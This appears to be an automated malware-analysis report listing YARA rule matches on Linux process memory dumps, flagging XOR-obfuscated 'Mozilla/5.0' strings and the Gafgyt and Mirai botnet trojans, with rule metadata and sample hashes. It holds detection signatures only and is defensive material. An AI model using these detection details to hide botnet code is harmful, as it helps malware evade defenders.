Source: 7372.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6718.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6766.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6394.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7184.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6733.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6368.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7210.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6975.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6562.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6355.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7325.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6298.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7291.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6286.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6685.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6782.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7186.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
